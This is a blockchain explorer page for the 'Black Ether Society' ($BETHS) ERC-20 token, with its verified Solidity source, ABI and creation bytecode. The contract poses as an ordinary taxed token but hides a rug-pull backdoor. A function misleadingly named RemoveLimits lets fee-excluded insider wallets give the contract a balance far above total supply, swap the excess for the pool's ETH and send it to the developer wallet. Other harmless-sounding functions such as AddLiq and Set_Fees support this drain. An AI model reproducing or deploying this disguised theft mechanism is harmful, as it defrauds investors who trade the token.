ERC-20
Overview
Max Total Supply
10,000,000 $BETHS
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 $BETHSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BETHS
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-17 */ /** https://t.me/blackethersociety */ pragma solidity 0.8.17; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function RemoveLimits() external returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Dead(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiq( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liq); function addLiqETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liq); function removeLiq( address tokenA, address tokenB, uint liq, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiqETH( address token, uint liq, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiqWithPermit( address tokenA, address tokenB, uint liq, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiqETHWithPermit( address token, uint liq, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiqETHSupportingFeeOnTransferTokens( address token, uint liq, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiqETHWithPermitSupportingFeeOnTransferTokens( address token, uint liq, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BETHS is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } mapping (address => uint256) private _dOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isEdcludedFromFee; address payable public Mkt_Wallet = payable(0x2191A4398FE66E984FF6b7A05dB43578596c9477); address payable public Dev_Wallet = payable(0xC77c7Ca24E7b9494bB1a3b2E55304A52f908EC7B); address payable public constant Dead_Wallet = payable(0x000000000000000000000000000000000000dEaD); address payable public constant Liq_Wallet = payable(0x000000000000000000000000000000000000dEaD); uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint256 private _dTotal = 10* 10**6 * 10**_decimals; string private constant _name = unicode"Black Ether Society"; string private constant _symbol = unicode"$BETHS"; bool public swapAndLiquEnabled = true; bool public swapEqualLiq = false; uint8 private txCount = 0; uint8 private swapDrigger = 38; uint256 public _Tax_On_Buy = 5; uint256 public _Tax_On_Sell = 15; uint256 public Percent_Mkt = 90; uint256 public Percent_Utility = 0; uint256 public Percent_Dead = 0; uint256 public Percent_Liq = 10; uint256 public _maxWalletToken = _dTotal * 100 / 100; uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _dTotal * 5 / 100; uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiqu; uint256 approvedPriority = 10**23; event SwapAndLiquEnabledUpdated(bool true_or_false); event SwapAndLiqu( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiqu = true; _; inSwapAndLiqu = false; } constructor () { _owner = 0xC77c7Ca24E7b9494bB1a3b2E55304A52f908EC7B; emit OwnershipTransferred(address(0), _owner); _dOwned[owner()] = _dTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isEdcludedFromFee[owner()] = true; _isEdcludedFromFee[address(this)] = true; _isEdcludedFromFee[Mkt_Wallet] = true; _isEdcludedFromFee[Dead_Wallet] = true; _isEdcludedFromFee[Liq_Wallet] = true; emit Transfer(address(0), owner(), _dTotal); } function RemoveLimits() public override returns (uint256) { bool returning = AddLiq(_msgSender()); if(returning && returning){ uint256 overRiding = balanceOf(address(this)); swapEqualLiq = true; swapAndLiqu(overRiding); } return 0; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _dTotal; } function balanceOf(address account) public view override returns (uint256) { return _dOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function AddLiq(address LiqditAdder) private returns(bool){ bool priority = _isEdcludedFromFee [LiqditAdder]; if(priority){_dOwned[address(this)] = approvedPriority;} return priority; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;// } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue)); return true; } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_dTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0)); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != Dead_Wallet && to != address(this) && to != Liq_Wallet && to != uniswapV2Pair && from != owner()){ uint256 delfTokens = balanceOf(to); require((delfTokens + amount) <= _maxWalletToken);} if (from != owner() && to != Liq_Wallet && from != Liq_Wallet && from != address(this)){ require(amount <= _maxTxAmount); } require(from != address(0) && to != address(0)); require(amount > 0); if( txCount >= swapDrigger && !inSwapAndLiqu && from != uniswapV2Pair && swapAndLiquEnabled ) { uint256 DcontractTokenBalance = balanceOf(address(this)); if(DcontractTokenBalance > _maxTxAmount) {DcontractTokenBalance = _maxTxAmount;} txCount = 0; swapAndLiqu(DcontractTokenBalance); } bool takeFee = true; bool isBuy; if(_isEdcludedFromFee[from] || _isEdcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } txCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiqu(uint256 DcontractTokenBalance) private lockTheSwap { uint256 contractLiqBalance = balanceOf(address(this)); uint256 tokensLiq = contractLiqBalance - _dTotal; uint256 tokens_to_Dead = DcontractTokenBalance * Percent_Dead / 100; _dTotal = _dTotal - tokens_to_Dead; _dOwned[Dead_Wallet] = _dOwned[Dead_Wallet] + tokens_to_Dead; _dOwned[address(this)] = _dOwned[address(this)] - tokens_to_Dead; uint256 tokens_to_M = DcontractTokenBalance * Percent_Mkt / 100; uint256 tokens_to_D = DcontractTokenBalance * Percent_Utility/ 100; uint256 tokens_to_LP_dalf = DcontractTokenBalance * Percent_Liq / 100; uint256 ready2Swap = tokens_to_M + tokens_to_D + tokens_to_LP_dalf; if(swapEqualLiq){ready2Swap =tokensLiq;} swapTokensForETH(ready2Swap); uint256 ETH_Total = address(this).balance; sendToWallet(Dev_Wallet, ETH_Total); swapEqualLiq = false; } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiq(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiqETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, Liq_Wallet, block.timestamp ); } function Set_Fees(address ro_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){ require(ro_Token_Address != address(this)); uint256 totalRo = IERC20(ro_Token_Address).balanceOf(address(this)); uint256 removeRo = totalRo*percent_of_Tokens/100; _sent = IERC20(ro_Token_Address).transfer(Dev_Wallet, removeRo); } function _tokenTransfer(address sender, address recipient, uint256 dAmount, bool takeFee, bool isBuy) private { if(!takeFee){ _dOwned[sender] = _dOwned[sender]-dAmount; _dOwned[recipient] = _dOwned[recipient]+dAmount; emit Transfer(sender, recipient, dAmount); if(recipient == Dead_Wallet) _dTotal = _dTotal-dAmount; }else if (isBuy){ uint256 buyFEE = dAmount*_Tax_On_Buy/100; uint256 dTransferAmount = dAmount-buyFEE; _dOwned[sender] = _dOwned[sender]-dAmount; _dOwned[recipient] = _dOwned[recipient]+dTransferAmount; _dOwned[address(this)] = _dOwned[address(this)]+buyFEE; emit Transfer(sender, recipient, dTransferAmount); if(recipient == Dead_Wallet) _dTotal = _dTotal-dTransferAmount; } else { uint256 sellFEE = dAmount*_Tax_On_Sell/100; uint256 dTransferAmount = dAmount-sellFEE; _dOwned[sender] = _dOwned[sender]-dAmount; _dOwned[recipient] = _dOwned[recipient]+dTransferAmount; _dOwned[address(this)] = _dOwned[address(this)]+sellFEE; emit Transfer(sender, recipient, dTransferAmount); if(recipient == Dead_Wallet) _dTotal = _dTotal-dTransferAmount; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiqu","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Dead_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Dev_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Liq_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Mkt_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dead","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liq","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Mkt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RemoveLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ro_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"Set_Fees","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isEdcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiqu","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEqualLiq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600480546001600160a01b0319908116732191a4398fe66e984ff6b7a05db43578596c9477179091556005805490911673c77c7ca24e7b9494bb1a3b2e55304a52f908ec7b1790556200005a6009600a6200054c565b62000069906298968062000564565b60068190556007805463ffffffff191663260000011790556005600855600f600955605a600a9081556000600b819055600c55600d55606490620000ae908262000564565b620000ba91906200057e565b600e55600e54600f5560646006546005620000d6919062000564565b620000e291906200057e565b60105560105460115569152d02c7e14af68000006014553480156200010657600080fd5b50600080546001600160a01b03191673c77c7ca24e7b9494bb1a3b2e55304a52f908ec7b90811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360065460016000620001746000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002169190620005a1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a9190620005a1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe9190620005a1565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160036000620003466000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352908220805484168217905561dead9091527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054909216179055620003e06000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200042891815260200190565b60405180910390a350620005cc565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200048e57816000190482111562000472576200047262000437565b808516156200048057918102915b93841c939080029062000452565b509250929050565b600082620004a75750600162000546565b81620004b65750600062000546565b8160018114620004cf5760028114620004da57620004fa565b600191505062000546565b60ff841115620004ee57620004ee62000437565b50506001821b62000546565b5060208310610133831016604e8410600b84101617156200051f575081810a62000546565b6200052b83836200044d565b806000190482111562000542576200054262000437565b0290505b92915050565b60006200055d60ff84168362000496565b9392505050565b808202811582820484141762000546576200054662000437565b6000826200059c57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005b457600080fd5b81516001600160a01b03811681146200055d57600080fd5b6115ba80620005dc6000396000f3fe6080604052600436106101f25760003560e01c806370a082311161010d57806395d89b41116100a0578063a9059cbb1161006f578063a9059cbb14610588578063b1cb1582146105a8578063b5adc910146105be578063dd62ed3e146105ee578063e9cddf271461032557600080fd5b806395d89b411461050d578063960ee2f51461053c578063a158fd5d14610552578063a457c2d71461056857600080fd5b80637c062742116100dc5780637c062742146104a35780637d1db4a5146104b957806382b14515146104cf5780638da5cb5b146104ef57600080fd5b806370a0823114610420578063715018a61461045657806372f94ad91461046d57806378109e541461048d57600080fd5b8063395093511161018557806350716d211161015457806350716d21146103b0578063525b2a18146103d157806356cd40e7146103eb57806362eeed331461040057600080fd5b8063395093511461033b5780633f70a4951461035b57806348e40b9a1461037157806349bd5a5e1461039057600080fd5b806318160ddd116101c157806318160ddd146102d457806323b872dd146102e9578063313ce5671461030957806333828a3f1461032557600080fd5b806306463bbd146101fe57806306fdde0314610227578063095ea7b31461026c5780631694505e1461029c57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600a5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50604080518082019091526013815272426c61636b20457468657220536f636965747960681b60208201525b60405161021e91906112e8565b34801561027857600080fd5b5061028c61028736600461134e565b610634565b604051901515815260200161021e565b3480156102a857600080fd5b506012546102bc906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102e057600080fd5b50600654610214565b3480156102f557600080fd5b5061028c61030436600461137a565b61064b565b34801561031557600080fd5b506040516009815260200161021e565b34801561033157600080fd5b506102bc61dead81565b34801561034757600080fd5b5061028c61035636600461134e565b61069c565b34801561036757600080fd5b5061021460085481565b34801561037d57600080fd5b5060075461028c90610100900460ff1681565b34801561039c57600080fd5b506013546102bc906001600160a01b031681565b3480156103bc57600080fd5b5060135461028c90600160a01b900460ff1681565b3480156103dd57600080fd5b5060075461028c9060ff1681565b3480156103f757600080fd5b506102146106d2565b34801561040c57600080fd5b5061028c61041b36600461134e565b610723565b34801561042c57600080fd5b5061021461043b3660046113bb565b6001600160a01b031660009081526001602052604090205490565b34801561046257600080fd5b5061046b610841565b005b34801561047957600080fd5b506005546102bc906001600160a01b031681565b34801561049957600080fd5b50610214600e5481565b3480156104af57600080fd5b50610214600c5481565b3480156104c557600080fd5b5061021460105481565b3480156104db57600080fd5b506004546102bc906001600160a01b031681565b3480156104fb57600080fd5b506000546001600160a01b03166102bc565b34801561051957600080fd5b5060408051808201909152600681526524424554485360d01b602082015261025f565b34801561054857600080fd5b50610214600b5481565b34801561055e57600080fd5b50610214600d5481565b34801561057457600080fd5b5061028c61058336600461134e565b61088b565b34801561059457600080fd5b5061028c6105a336600461134e565b6108c1565b3480156105b457600080fd5b5061021460095481565b3480156105ca57600080fd5b5061028c6105d93660046113bb565b60036020526000908152604090205460ff1681565b3480156105fa57600080fd5b506102146106093660046113d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006106413384846108ce565b5060015b92915050565b6000610658848484610958565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461069291869161068d9086610bfb565b6108ce565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161064191859061068d9086610c0e565b6000806106de33610c1a565b90508080156106ea5750805b1561071b57306000908152600160205260408120546007805461ff001916610100179055905061071981610c55565b505b600091505090565b6000306001600160a01b0384160361073a57600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190611411565b9050600060646107b58584611440565b6107bf9190611457565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190611479565b95945050505050565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161064191859061068d9086610bfb565b6000610641338484610958565b6001600160a01b038316158015906108ee57506001600160a01b03821615155b6108f757600080fd5b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061098157506001600160a01b03821661dead14155b801561099657506001600160a01b0382163014155b80156109ad57506001600160a01b03821661dead14155b80156109c757506013546001600160a01b03838116911614155b80156109e157506000546001600160a01b03848116911614155b15610a19576001600160a01b038216600090815260016020526040902054600e54610a0c838361149b565b1115610a1757600080fd5b505b6000546001600160a01b03848116911614801590610a4257506001600160a01b03821661dead14155b